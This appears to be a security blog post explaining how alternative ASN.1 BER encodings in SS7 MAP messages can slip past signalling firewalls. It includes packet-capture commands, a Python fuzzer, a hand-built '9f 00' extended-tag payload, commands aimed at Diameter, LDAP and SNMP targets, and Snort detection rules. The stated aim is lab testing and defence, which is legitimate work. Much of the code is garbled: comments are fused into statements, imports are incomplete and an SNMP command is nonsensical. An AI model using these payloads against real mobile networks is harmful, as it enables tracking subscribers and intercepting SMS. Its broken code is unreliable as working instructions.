Listen to this Post
Introduction:
ASN.1 Basic Encoding Rules (BER) were designed for interoperability, allowing multiple valid byte‑level representations of the same message. In SS7 MAP (Mobile Application Part) signalling, this flexibility becomes a critical vulnerability: a signalling firewall may inspect one BER variant while the Home Location Register (HLR) accepts a different one, enabling attackers to slip malicious `ProvideSubscriberInfo` requests past security controls. Recent in‑the‑wild exploitation using extended multi‑octet tag encoding (9f 00) proves this is not theoretical – it’s an active threat to mobile core networks.
Learning Objectives:
- Understand how non‑minimal length fields, indefinite‑length constructs, and extended tags in BER create parser divergence between security devices and network elements.
- Build a basic fuzzer to generate legal BER variants for MAP operations and test them against decoder pairs to identify bypass opportunities.
- Apply mitigations such as strict BER canonicalization and signature‑based detection of anomalous encodings in SS7/Diameter firewalls.
You Should Know:
- Anatomy of a BER‑Based SS7 MAP Bypass – Encoding Divergence in Action
BER allows the same ASN.1 value to be encoded in multiple ways. For a simple integer like 5, minimal BER is 02 01 05. However, non‑minimal length encoding – e.g., `02 02 00 05` (two‑byte length with leading zero) – is also legal. Many SS7 firewalls normalise incoming messages to minimal BER before inspection, but the HLR often accepts non‑minimal forms directly. An attacker crafts a MAP `ProvideSubscriberInfo` with a non‑minimal length field for the IMSI or a tag `9f 00` (extended multi‑octet tag) that the firewall fails to decode correctly, while the HLR happily processes it.
Step‑by‑step guide to test for decoder divergence:
- Capture a legitimate MAP message using `tshark` on an SS7 link (Linux):
sudo tshark -i eth0 -f "port 2905" -Y "mtp3.sls" -w legit_map.pcap
-
Extract the raw BER payload (assuming MAP over SCCP). Use `wireshark` or
tshark -T fields:tshark -r legit_map.pcap -Y "map" -T fields -e data > map_ber.hex
-
Modify a single length byte to a non‑minimal representation (Python):
Original BER: 02 01 05 (INTEGER 5) Non-minimal: 02 02 00 05 with open('map_ber.hex', 'r') as f: ber = bytes.fromhex(f.read().strip()) Find a length octet (e.g., after tag 0x02) Replace length 0x01 with 0x02 and insert 0x00 after it modified = ber.replace(b'\x02\x01', b'\x02\x02\x00') with open('bypass_map.ber', 'wb') as out: out.write(modified) -
Inject the modified message into a lab SS7 environment using a tool like `ss7fuzz` or `MAP/Tcap` generator. Monitor if the firewall logs an alert and whether the HLR responds with subscriber data.
-
Building a BER Variant Fuzzer – Generating the Full Legal Space
A robust fuzzer must iterate over extended tags (9f 00 to 9f ff), non‑minimal lengths (add leading zero octets), indefinite‑length constructs (80 as length), and constructed vs. primitive encoding forms. The goal: find any valid BER that one decoder accepts and another rejects.
Step‑by‑step guide for a simple BER fuzzer (Python + asn1tools):
1. Install dependencies:
pip install asn1tools scapy
- Define a MAP operation ASN.1 schema (simplified
ProvideSubscriberInfo):import asn1tools schema = asn1tools.compile_string(''' MAP-SS7 DEFINITIONS AUTOMATIC TAGS ::= BEGIN ProvideSubscriberInfo ::= SEQUENCE { imsi OCTET STRING (SIZE (3..15)), requestType ENUMERATED { locationUpdate (1), anyTimeInterrogation (2) } } END ''')
3. Generate variants by manipulating encoder output:
original = {'imsi': b'310150123456789', 'requestType': 1}
encoded = schema.encode('ProvideSubscriberInfo', original)
def non_minimal_length(ber):
Find length octets > 0x80? Actually implement length expansion
For simplicity: replace any length L with 0x81 L
return ber.replace(b'\x0f', b'\x81\x0f') IMSI length 15 -> 0x81 0x0F
def extended_tag(ber, original_tag=0x30, new_tag=0x9f00):
Replace SEQUENCE tag with extended multi-octet tag
return bytes([0x9f, 0x00]) + ber[1:]
fuzz_cases = [
non_minimal_length(encoded),
extended_tag(encoded),
encoded.replace(b'\x80', b'\x80\x80') indefinite length (not valid everywhere)
]
- Test each variant against two different decoders (e.g., your firewall’s ASN.1 library vs. a carrier‑grade HLR emulator like OpenHLR). Log divergences.
-
Real‑World Exploitation: The `9f 00` Extended Tag Attack
Enea reported active attacks using extended multi‑octet tag `9f 00` (which represents a tag number 0 in extended form) to evade SS7 firewalls. Many firewalls only check the first octet of a tag; they see `0x9f` (extended tag indicator) and either ignore the message or parse incorrectly, while the HLR follows BER rules and reads the full tag. This allows an attacker to embed commands like `sendRoutingInfoForSM` inside a `9f 00` wrapper that the firewall skips.
Step‑by‑step simulation (Linux, using `ss7fuzz` utility):
1. Clone a basic SS7 fuzzing framework:
git clone https://github.com/0xcite/ss7fuzz.git cd ss7fuzz
- Create a MAP payload with extended tag (manually using `packet` builder):
Build a TCAP Begin with MAP ProvideSubscriberInfo Tag 0x30 (SEQUENCE) replaced by 0x9f 0x00 echo "9f 00 81 0f 02 01 05 04 08 31 30 31 32 33 34 35" | xxd -r -p > extended_tag_payload.bin
-
Send via `ss7fuzz` to a lab MTP3 layer:
./ss7fuzz -i eth0 -d 0x01020304 -p extended_tag_payload.bin -t map
-
Monitor HLR logs for unauthorised `ProvideSubscriberInfo` responses. If successful, your signalling firewall is vulnerable.
-
Detecting and Mitigating BER Bypasses – Hardening the Signalling Firewall
Mitigation requires normalising all BER encodings to a canonical form (Distinguished Encoding Rules – DER) before inspection, and rejecting any message that does not conform to minimal lengths or primitive forms.
Step‑by‑step mitigation implementation (pseudo‑configuration for a signalling firewall like Oracle/NetNumber):
- Enable strict BER validation – reject non‑minimal lengths:
Example: TNS STP configuration set ss7 map ber-validation strict-lengths true set ss7 map ber-validation reject-indefinite-length true
-
Deploy a DER‑normalising proxy (Linux, using `asn1c` compiled tool):
Compile a DER re‑encoder from ASN.1 spec asn1c -fcompound-names MAP-ASN1.asn make ./der_encoder < received_ber.raw > canonical.der
-
Create Snort/Suricata rules for known anomalous BER patterns:
Detect extended tags (9f xx) in SS7 traffic alert tcp $EXTERNAL_NET any -> $SS7_GW 2905 \ (msg:"SS7 Extended Tag Detected"; content:"|9f|"; depth:1; sid:1000001;) Detect non-minimal length (length > 0x80 followed by 0x00) alert tcp $EXTERNAL_NET any -> $SS7_GW 2905 \ (msg:"SS7 Non-minimal Length"; content:"|81 00|"; sid:1000002;)
-
Test your firewall by replaying the fuzzer‑generated variants from Section 2. Ensure all are blocked or normalised.
-
Fuzzing Beyond SS7 – Applying BER Divergence to Diameter, LDAP, and SNMP
The same BER flexibility issues plague any protocol using ASN.1 BER: Diameter (3GPP), LDAP, and SNMP. Attackers can craft non‑minimal encodings of AVPs, LDAP filters, or SNMP OIDs to evade inspection.
Step‑by‑step cross‑protocol testing (Windows & Linux):
- Diameter (Windows): Use `diameter_fuzzer.py` to generate CER/CEA with non‑minimal AVP lengths.
Windows: Use Python with scapy-diameter pip install scapy-diameter python -c "from scapy.all import ; from scapy.contrib.diameter import ; p=DiameterCER(); p[bash].len=0x810002; send(p)"
-
LDAP (Linux): Use `ldapsearch` with a modified BER filter.
Encode filter (cn=admin) with non-minimal length echo "a3 81 0c 04 08 63 6e 3d 61 64 6d 69 6e" | xxd -r -p | ldapsearch -H ldap://target -b "dc=example,dc=com" -D "cn=admin,dc=example,dc=com"
-
SNMP (Linux): Use `snmpset` with an extended OID tag.
Craft SNMPv2c GET with non‑minimal length for OID 1.3.6.1.2.1.1.1 snmpset -v2c -c public target 9f.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00 integer 0
What Undercode Say:
- Parser divergence is the root cause – security devices and core network elements rarely share identical ASN.1 BER implementations. This gap is weaponizable.
- Fuzzing must target encoder/decoder pairs – not just message semantics. The “legal but unexpected” encodings are where bypasses live.
- Mitigation is possible but requires strict canonicalisation – moving to DER or rejecting non‑minimal/indefinite constructs closes the window. However, many legacy SS7 nodes cannot be patched, forcing carriers to deploy hardened firewalls.
The telecom industry has known about BER flexibility for 40 years, yet active exploitation continues because conformance testing ignores encoding variants. Security teams must shift from testing only valid messages to testing all valid encodings of those messages. Simbox research and other SS7 attack surfaces (e.g., `sendRoutingInfoForSM` abuse) share the same pattern: if you can encode it, and the firewall misses it, you own the signalling plane.
Prediction:
Within 18 months, we will see a major mobile network breach attributed to a BER‑based SS7 bypass. The attack will likely combine extended tags and indefinite lengths to exfiltrate subscriber location data or intercept two‑factor SMS. Regulatory bodies (GSMA, 3GPP) will be forced to update security specifications to mandate DER or strict BER normalisation in signalling firewalls. Meanwhile, open‑source fuzzers targeting ASN.1 decoder divergence will become standard tooling for red teams testing telecom infrastructure. Carriers that fail to implement canonicalisation will remain exposed – and attackers are already building the exploit chains.
▶️ Related Video (70% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Ryan Williams – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
